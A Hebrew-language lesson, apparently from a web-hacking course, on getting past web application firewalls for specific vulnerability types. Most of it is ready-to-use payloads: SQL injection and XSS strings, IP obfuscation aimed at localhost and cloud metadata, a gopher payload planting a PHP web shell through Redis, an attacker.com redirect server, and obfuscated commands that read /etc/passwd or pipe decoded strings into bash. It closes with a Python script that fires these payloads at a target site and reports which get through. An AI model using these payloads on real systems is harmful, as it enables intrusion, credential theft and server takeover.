עקיפת WAF לכל חולשה - Vulnerability-specific WAF Bypass
מבוא
בשיעורים הקודמים למדנו טכניקות עקיפה כלליות: קידוד, HPP, Unicode, ופרוטוקול. בשיעור זה נתמקד בעקיפות ספציפיות לכל סוג חולשה. לכל חולשה יש תחביר חלופי, טריקים ייחודיים ושיטות שמנצלות את הגמישות של השפה או הפרוטוקול הרלוונטי.
עקיפת WAF ל-SQLi
הערות כתחליף רווח
-- WAF חוסם: UNION SELECT
-- עקיפה עם הערות
UNION/**/SELECT
UNION/*anything*/SELECT
UNION/*aaaaaaaaaa*/SELECT
-- MySQL - הערות מותנות
/*!UNION*//*!SELECT*/
/*!50000UNION*//*!50000SELECT*/
ערבוב גודל אותיות - Case Mixing
-- WAF חוסם: UNION SELECT (case insensitive? לא תמיד)
uNiOn SeLeCt
UnIoN sElEcT
UNION SElect
-- שילוב עם הערות
uNiOn/**/SeLeCt
מילות מפתח חלופיות
-- במקום UNION SELECT
UNION ALL SELECT
UNION DISTINCT SELECT
UNION ALL DISTINCT SELECT
-- במקום OR
|| (במקום OR)
&& (במקום AND)
-- במקום = (שוויון)
LIKE
REGEXP
RLIKE
BETWEEN x AND x
IN (x)
NOT <> (כפול שלילה)
טכניקות ללא רווחים - No-space Techniques
-- סוגריים כתחליף רווח
SELECT(username)FROM(users)
UNION(SELECT(1),(2),(3))
-- שילוב
(1)UNION(SELECT(username),(password)FROM(users))
-- MySQL - סוגריים מסולסלים
{fn CONCAT(0x61,0x62)}
בניית מחרוזות עם פונקציות
-- CONCAT
SELECT CONCAT(0x61,0x64,0x6d,0x69,0x6e)
-- = "admin"
-- CHAR
SELECT CHAR(97,100,109,105,110)
-- = "admin"
-- מחרוזות hex
SELECT 0x61646d696e
-- = "admin"
-- CHR (Oracle/PostgreSQL)
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
-- = "admin"
-- שילוב: WAF חוסם 'admin', נשתמש ב-hex
SELECT username, password FROM users WHERE username = 0x61646d696e
פונקציות השהייה חלופיות - Alternative Sleep
-- WAF חוסם SLEEP()
-- MySQL
BENCHMARK(10000000, SHA1('test'))
GET_LOCK('lock', 10)
-- PostgreSQL
pg_sleep(10)
-- SQL Server
WAITFOR DELAY '0:0:10'
-- Oracle
DBMS_PIPE.RECEIVE_MESSAGE('x', 10)
-- דוגמה מלאה
1' AND IF(1=1,BENCHMARK(10000000,SHA1('a')),0)--
אופרטורים חלופיים
-- WAF חוסם OR ו-AND
-- שימוש באופרטורים ביטיים
1' || 1=1-- -- במקום OR
1' && 1=1-- -- במקום AND
-- XOR
1' ^ (SELECT 1)--
-- NOT
1' !(0)--
סימון מדעי - Scientific Notation
-- הטריק: 1e0 הוא מספר חוקי (1 * 10^0 = 1)
-- אבל ה-WAF לא מזהה את הדפוס
1e0UNION SELECT 1
1.0UNION SELECT 1
-- דוגמה מלאה
1'e0UNION(SELECT(password)FROM(users))WHERE'1'='1
עקיפת פילטרים ספציפיים
-- WAF חוסם: information_schema
-- חלופות ב-MySQL
SELECT table_name FROM mysql.innodb_table_stats
SELECT column_name FROM mysql.innodb_columns (MySQL 8+)
-- WAF חוסם: WHERE
-- שימוש ב-HAVING
SELECT username FROM users GROUP BY username HAVING username LIKE 'admin'
-- WAF חוסם: גרש '
-- שימוש ב-backslash
1\' UNION SELECT 1--
-- WAF חוסם: הערות --
-- סיום חלופי
1' UNION SELECT 1;%00
1' UNION SELECT 1#
1' UNION SELECT '1
עקיפת WAF ל-XSS
Event Handlers חלופיים
<!-- WAF חוסם: onerror, onload, onclick -->
<!-- event handlers פחות נפוצים -->
<img src=x onmouseover=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details ontoggle=alert(1) open>
<body onresize=alert(1)>
<video onloadstart=alert(1)><source>
<audio onloadstart=alert(1)><source>
<object onerror=alert(1)>
<svg onload=alert(1)>
<!-- Animation events -->
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart=alert(1)>
<!-- Transition events -->
<div style="transition:1s" ontransitionend=alert(1)>
תגיות HTML5
<!-- WAF חוסם: <script>, <img>, <iframe> -->
<!-- תגיות חלופיות -->
<svg onload=alert(1)>
<svg/onload=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id=x d="M0 0"/></textarea></mtext></svg></mglyph></table></mtext></math>
<!-- details/summary -->
<details open ontoggle=alert(1)>
<!-- embed -->
<embed src="javascript:alert(1)">
<!-- object -->
<object data="javascript:alert(1)">
<!-- marquee (deprecated but works) -->
<marquee onstart=alert(1)>test</marquee>
פונקציות JavaScript חלופיות
// WAF חוסם: alert()
confirm(1)
prompt(1)
console.log(1)
print() // בחלק מהדפדפנים
document.write(1)
window.alert(1)
self.alert(1)
top.alert(1)
parent.alert(1)
this.alert(1)
globalThis.alert(1)
// גישה דרך bracket notation
window['alert'](1)
window['al'+'ert'](1)
self['alert'](1)
this['alert'](1)
// שימוש ב-Function constructor
Function('alert(1)')()
new Function('alert(1)')()
[].constructor.constructor('alert(1)')()
Template Literals
// WAF חוסם סוגריים ()
// template literals לא דורשים סוגריים עם tagged templates
alert`1`
confirm`1`
prompt`1`
// עם ביטוי
`${alert(1)}`
// tagged template
String.raw`${alert(1)}`
JavaScript ללא סוגריים
// WAF חוסם ()
// שימוש ב-throw ו-onerror
onerror=alert;throw 1
// setter
Object.defineProperty(window,'x',{set:alert});x=1
// toString/valueOf
{toString:alert}+''
// import (ES modules)
import('data:text/javascript,alert(1)')
// location assignment
location='javascript:alert(1)'
קידוד ב-Event Handlers
<!-- הדפדפן מפענח HTML entities בתוך attributes -->
<img src=x onerror="alert(1)">
<!-- hex entities -->
<img src=x onerror="alert(1)">
<!-- שילוב -->
<img src=x onerror="alert(1)">
XSS ללא תגיות בהקשרים ספציפיים
// הקשר: בתוך מחרוזת JavaScript
// הקלט נכנס לתוך: var x = 'USER_INPUT';
';alert(1)//
'-alert(1)-'
'+alert(1)+'
// הקשר: בתוך attribute
// הקלט נכנס לתוך: <div class="USER_INPUT">
" onmouseover=alert(1) x="
" autofocus onfocus=alert(1) x="
// הקשר: בתוך JavaScript template literal
// הקלט נכנס לתוך: var x = `USER_INPUT`;
${alert(1)}
עקיפת WAF ל-SSRF
ערפול כתובות IP - IP Obfuscation
# כתובת רגילה: 127.0.0.1
# ייצוגים חלופיים:
# עשרוני (decimal)
http://2130706433 # 127*256^3 + 0*256^2 + 0*256 + 1
# הקסדצימלי
http://0x7f000001
http://0x7f.0x0.0x0.0x1
# אוקטלי
http://0177.0000.0000.0001
http://0177.0.0.1
# ערבוב
http://0x7f.0.0.1 # hex + decimal
http://0177.0.0.0x1 # octal + hex
http://0x7f.1 # חלקי
# IPv6
http://[::1]
http://[0:0:0:0:0:0:0:1]
http://[::ffff:127.0.0.1]
http://[0000:0000:0000:0000:0000:0000:0000:0001]
# IPv6 מקוצר
http://[::1]:80
http://[0::1]
import struct
import ipaddress
def obfuscate_ip(ip):
"""יצירת ייצוגים חלופיים של כתובת IP"""
parts = [int(p) for p in ip.split('.')]
# decimal
decimal = struct.unpack('!I', bytes(parts))[0]
# hex
hex_full = '0x' + ''.join(f'{p:02x}' for p in parts)
# octal
octal = '.'.join(f'0{p:o}' for p in parts)
print(f"מקורי: {ip}")
print(f"עשרוני: http://{decimal}")
print(f"הקסדצימלי: http://{hex_full}")
print(f"אוקטלי: http://{octal}")
print(f"IPv6: http://[::ffff:{ip}]")
obfuscate_ip("127.0.0.1")
obfuscate_ip("169.254.169.254") # AWS metadata
obfuscate_ip("10.0.0.1")
DNS שמצביע לכתובות פנימיות
# שימוש בדומיין שמפנה ל-127.0.0.1
http://localtest.me # מפנה ל-127.0.0.1
http://127.0.0.1.nip.io # מפנה ל-127.0.0.1
http://spoofed.burpcollaborator.net # DNS rebinding
# רישום דומיין משלכם עם A record ל-127.0.0.1
http://internal.attacker.com # A record -> 127.0.0.1
ניצול סכמות URL
# WAF חוסם http://127.0.0.1
# סכמות חלופיות
file:///etc/passwd
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
dict://127.0.0.1:6379/INFO
ftp://127.0.0.1
tftp://127.0.0.1
# gopher לשליחת HTTP request דרך Redis
gopher://127.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET%5B'cmd'%5D)%3B%3F>%22
עקיפה דרך הפניות - Redirect-based Bypass
# שרת התוקף מחזיר 302 redirect לכתובת פנימית
# WAF בודק את ה-URL הראשוני (חיצוני), לא את יעד ההפנייה
# שרת התוקף
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redir():
return redirect('http://169.254.169.254/latest/meta-data/')
# הבקשה:
# http://attacker.com/redirect -> 302 -> http://169.254.169.254/...
עקיפה דרך CNAME
# DNS CNAME שמצביע לשרת פנימי
# attacker.com CNAME -> internal-server.target.com
# WAF מאפשר בקשה ל-attacker.com (חיצוני)
# אבל ה-DNS resolves לכתובת פנימית
עקיפת WAF ל-Command Injection
תווים כלליים - Wildcards
# WAF חוסם: /etc/passwd
# שימוש ב-wildcards
/???/??ss?? # /etc/passwd
/???/??ss?? # /etc/passwd
cat /e?c/p?sswd
cat /e*c/p*d
cat /etc/passw?
# WAF חוסם: cat
/???/??t /???/??ss??
# = /bin/cat /etc/passwd
הרחבת משתנים - Variable Expansion
# WAF חוסם: id
# שימוש ב-hex escape ב-bash
$'\x69\x64'
# = id
# שימוש ב-octal
$'\151\144'
# = id
# שימוש ב-variable expansion
a=i;b=d;$a$b
# = id
# שימוש ב-env variables
${PATH:0:1} # / (התו הראשון של PATH)
${LS_COLORS:10:1} # תלוי בסביבה
החלפה ב-Backticks ו-$()
# WAF חוסם: id
`id`
$(id)
# שילוב
`$'\x69\x64'`
# קינון
$($(echo id))
IFS כתחליף רווח
# WAF חוסם רווחים
# IFS (Internal Field Separator) הוא רווח, טאב, שורה חדשה
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
# שימוש ב-tab
cat /etc/passwd # טאב בין cat ל-/etc/passwd
# שימוש ב-brace expansion
{cat,/etc/passwd}
# שימוש ב-שורה חדשה
cat%0a/etc/passwd
המשכיות שורה - Line Continuation
# WAF חוסם: cat
ca\
t /etc/passwd
# ה-\ בסוף שורה גורם להמשך לשורה הבאה
# WAF חוסם: /etc/passwd
cat /et\
c/pas\
swd
מרכאות להפרדה
# WAF חוסם: cat
c""at /etc/passwd
c''at /etc/passwd
c``at /etc/passwd
# WAF חוסם: passwd
cat /etc/pa""sswd
cat /etc/p'a'sswd
# WAF חוסם: whoami
w"h"o"a"m"i"
who''ami
עקיפות נוספות
# שימוש ב-base64
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Y2F0IC9ldGMvcGFzc3dk = "cat /etc/passwd"
# שימוש ב-rev (הפוך)
echo "dwssap/cte/ tac" | rev | bash
# שימוש ב-xxd
echo "636174202f6574632f706173737764" | xxd -r -p | bash
# שימוש ב-printf
$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
ריכוז מטענים לכל סוג חולשה
טבלת SQLi
| טכניקה |
מטען |
| הערות |
1'/**/UNION/**/SELECT/**/1-- |
| Case mixing |
1' uNiOn SeLeCt 1-- |
| ללא רווח |
1'UNION(SELECT(1)) |
| Hex |
SELECT 0x61646d696e |
| CHAR |
SELECT CHAR(97,100,109,105,110) |
| אופרטורים |
1'||1=1-- |
| מדעי |
1'e0UNION SELECT 1-- |
| MySQL conditional |
1'/*!50000UNION*//*!50000SELECT*/1-- |
טבלת XSS
| טכניקה |
מטען |
| SVG |
<svg onload=alert(1)> |
| Details |
<details open ontoggle=alert(1)> |
| ללא סוגריים |
<img src=x onerror=throw/1/+alert%261> |
| Template literal |
<img src=x onerror=alert`1`> |
| Confirm |
<img src=x onerror=confirm(1)> |
| Entities |
<img src=x onerror="alert(1)"> |
| Function |
<img src=x onerror="Function('alert(1)')()"> |
טבלת SSRF
| טכניקה |
מטען |
| עשרוני |
http://2130706433 |
| הקסדצימלי |
http://0x7f000001 |
| אוקטלי |
http://0177.0.0.1 |
| IPv6 |
http://[::1] |
| IPv6 mapped |
http://[::ffff:127.0.0.1] |
| DNS |
http://localtest.me |
| Redirect |
http://attacker.com/redir |
טבלת Command Injection
| טכניקה |
מטען |
| Wildcards |
/???/??t /???/??ss?? |
| Hex escape |
$'\x63\x61\x74' |
| Variable |
a=c;b=at;$a$b /etc/passwd |
| IFS |
cat${IFS}/etc/passwd |
| Continuation |
ca\
t /etc/passwd |
| מרכאות |
c""at /etc/passwd |
| Base64 |
echo Y2F0... \| base64 -d \| bash |
סקריפט לבדיקת מטענים
import requests
from urllib.parse import quote
class WAFBypassTester:
def __init__(self, target_url, param_name, method='GET'):
self.target_url = target_url
self.param_name = param_name
self.method = method
self.results = []
def test_payload(self, payload, description=""):
"""בדיקת מטען בודד"""
if self.method == 'GET':
r = requests.get(self.target_url, params={self.param_name: payload})
else:
r = requests.post(self.target_url, data={self.param_name: payload})
passed = r.status_code != 403
self.results.append({
'payload': payload,
'description': description,
'status': r.status_code,
'passed': passed
})
return passed
def test_sqli_bypasses(self, base_injection="1' UNION SELECT 1--"):
"""בדיקת עקיפות SQLi"""
payloads = [
(base_injection, "מקורי"),
("1'/**/UNION/**/SELECT/**/1--", "הערות במקום רווח"),
("1' uNiOn SeLeCt 1--", "ערבוב אותיות"),
("1'UNION(SELECT(1))", "סוגריים"),
("1'/*!50000UNION*//*!50000SELECT*/1--", "הערות MySQL"),
("1'||1=1--", "אופרטור OR"),
("1'e0UNION SELECT 1--", "סימון מדעי"),
("1' UNION ALL SELECT 1--", "UNION ALL"),
("-1' UNION%0aSELECT%0a1--", "שורות חדשות"),
("1'%09UNION%09SELECT%091--", "טאבים"),
]
print("=== בדיקות SQLi ===")
for payload, desc in payloads:
passed = self.test_payload(payload, desc)
status = "PASS" if passed else "BLOCKED"
print(f"[{status}] {desc}: {payload[:60]}")
def test_xss_bypasses(self, base_xss="<script>alert(1)</script>"):
"""בדיקת עקיפות XSS"""
payloads = [
(base_xss, "מקורי"),
("<svg onload=alert(1)>", "SVG"),
("<svg/onload=alert(1)>", "SVG ללא רווח"),
("<details open ontoggle=alert(1)>", "Details"),
("<img src=x onerror=confirm(1)>", "Confirm"),
("<img src=x onerror=alert`1`>", "Template literal"),
("<math><mtext><table><mglyph><svg><mtext><textarea><path d=M0 id=x>", "Math"),
("<input autofocus onfocus=alert(1)>", "Autofocus"),
("<marquee onstart=alert(1)>", "Marquee"),
("<img src=x onerror='alert(1)'>", "Entities"),
]
print("\n=== בדיקות XSS ===")
for payload, desc in payloads:
passed = self.test_payload(payload, desc)
status = "PASS" if passed else "BLOCKED"
print(f"[{status}] {desc}: {payload[:60]}")
def print_summary(self):
"""סיכום תוצאות"""
total = len(self.results)
passed = sum(1 for r in self.results if r['passed'])
print(f"\n=== סיכום ===")
print(f"סהכ: {total}, עברו: {passed}, נחסמו: {total - passed}")
# שימוש
tester = WAFBypassTester("http://target.com/search", "q")
tester.test_sqli_bypasses()
tester.test_xss_bypasses()
tester.print_summary()
סיכום
כל חולשה מציעה מרחב של תחביר חלופי. ב-SQLi - הערות, case mixing, סוגריים, ופונקציות. ב-XSS - תגיות HTML5, event handlers חלופיים, ופונקציות JavaScript חלופיות. ב-SSRF - ערפול כתובות IP ו-DNS. ב-Command Injection - wildcards, הרחבת משתנים, ומרכאות. השילוב של טכניקות ספציפיות לחולשה עם טכניקות עקיפה כלליות (קידוד, HPP, פרוטוקול) מייצר כמות כמעט אינסופית של אפשרויות עקיפה.